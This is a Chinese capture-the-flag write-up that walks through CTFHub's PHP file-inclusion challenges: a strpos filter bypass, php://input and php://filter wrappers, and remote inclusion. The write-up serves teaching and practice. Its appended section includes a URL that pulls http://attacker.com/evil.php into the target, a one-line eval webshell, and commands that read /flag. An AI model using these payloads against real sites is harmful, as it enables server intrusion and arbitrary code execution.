CTFHUB RCE——文件包含

本文详细介绍了PHP中关于文件包含漏洞的利用方法,包括strpos函数的运用、php://input和php://filter伪协议的解析,以及如何通过这些技巧读取源代码和实现远程包含。在每个例子中,作者展示了如何在限制条件下执行shell命令,查找并获取flag。此外,还探讨了安全设置如allow_url_include的影响。
该文章已生成可运行项目,

 1.文件包含

 首先我们开启题目

 看到的是一大串代码

 我们仔细看一下php代码,重点是

if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];

这里有一个strpos(string,find,start)函数

意思在string字符串中找find的位置,start是查找的开始位置

那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]

否则就输出Hacker。

再看一眼shell

 是将ctfhub传的参数用php执行

题目的目的也是让我们执行shell木马那么我们就输入

?file=shell.txt

shell中要传的参数为ctfhub=system("ls");

 接着返回上一级目录,发现flag,接下来打开flag

 找到Flag。

2.php://input

首先进入题目也是先看代码

代码中说如果file 名中六个字符是 “php://” 就执行后面的include函数

这里其实就应该想到的是php://伪协议

php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

而执行php://input伪协议条件是allow_url_include是On

 

那么我们就开始做题

直接构造file的值为php://input

post参数为<?php system("ls")?>

因为php://input是执行后面的PHP命令所以要写成php代码形式

可以显示出网站的文件

接着返回上一级文件

 找到flag后,cat

 

找到flag

3.读取源代码

首先进入题目看代码

 首先file的前六个字母要是php://

而且也没有木马文件可以用,但是它说flag在 /flag当中

那么我们就用到了php://filter伪协议,它用来用于读取源码

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\*)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。
<; 两个链的过滤器>任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

比如php://filter/resource=[文件名]读取文件源码

而它说flag在 /flag当中那么我们直接?file=php://filter/resource=/flag

得到flag

4.远程包含

进入题目

 就说了file当中不能有flag

PHPinfo当中也表明php://input可以用

 那么就和php://input一样了直接找出flag

 

本文章已经生成可运行项目
### CTFHub RCE 远程包含漏洞解题步骤 在CTF比赛中,远程包含(Remote File Inclusion,RFI)漏洞通常是指应用程序动态包含远程服务器上的文件内容,从而导致攻击者可以执行任意代码。以下是针对CTFHubRCE远程包含题目的解题流程和思路。 #### 1. 确认远程包含漏洞的存在 首先需要确认目标应用程序是否存在远程文件包含漏洞。通常可以通过传递一个远程URL作为参数,观察是否能够成功加载并执行远程资源。例如,如果存在类似以下形式的请求: ``` http://challenge-xxx/?page=http://attacker.com/evil.php ``` 则说明可能存在远程包含漏洞。尝试构造类似请求,查看是否能够成功加载外部资源。 #### 2. 构造恶意PHP文件 攻击者需要准备一个恶意PHP文件,用于在目标服务器上执行任意代码。该文件通常包含简单的WebShell代码,例如: ```php <?php eval($_GET['cmd']); ?> ``` 将该文件上传到攻击者控制的服务器上,确保可以通过HTTP访问。 #### 3. 利用远程包含执行代码 将构造好的PHP文件URL作为参数传递给存在漏洞的页面,例如: ``` http://challenge-xxx/?include=http://attacker.com/evil.php ``` 如果成功包含,攻击者可以通过访问类似以下URL执行任意PHP代码: ``` http://challenge-xxx/?include=http://attacker.com/evil.php&cmd=system('ls'); ``` #### 4. 绕过过滤机制 在CTF题目中,往往会对输入进行一定程度的过滤,例如限制协议、过滤特殊字符或限制文件路径。常见的绕过方式包括: - 使用PHP封装协议,如`php://input`或`data://`来绕过文件路径限制。 - 利用空格、特殊字符或编码绕过黑名单限制,例如使用`%0a`(换行符)或`%09`(Tab符)替代空格。 - 使用短标签`<?=`或`<?=system('ls')?>`直接执行命令。 #### 5. 获取Flag 一旦成功执行命令,即可尝试读取服务器上的Flag文件。通常Flag文件位于特定目录下,例如`/flag`或`/var/www/html/flag.txt`。使用命令如: ```php system('cat /flag'); ``` 来获取Flag内容。 #### 6. 综合利用 在部分题目中,可能需要结合多个漏洞点,例如先通过远程包含加载一个WebShell,再通过该WebShell进一步利用本地文件包含(LFI)或命令注入漏洞,最终获取Flag。 ### 示例代码:构造远程包含的WebShell ```php <?php // evil.php eval($_GET['cmd']); ?> ``` 攻击者服务器部署该文件后,通过如下URL触发远程包含: ``` http://challenge-xxx/?include=http://attacker.com/evil.php&cmd=system('cat /flag'); ```
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值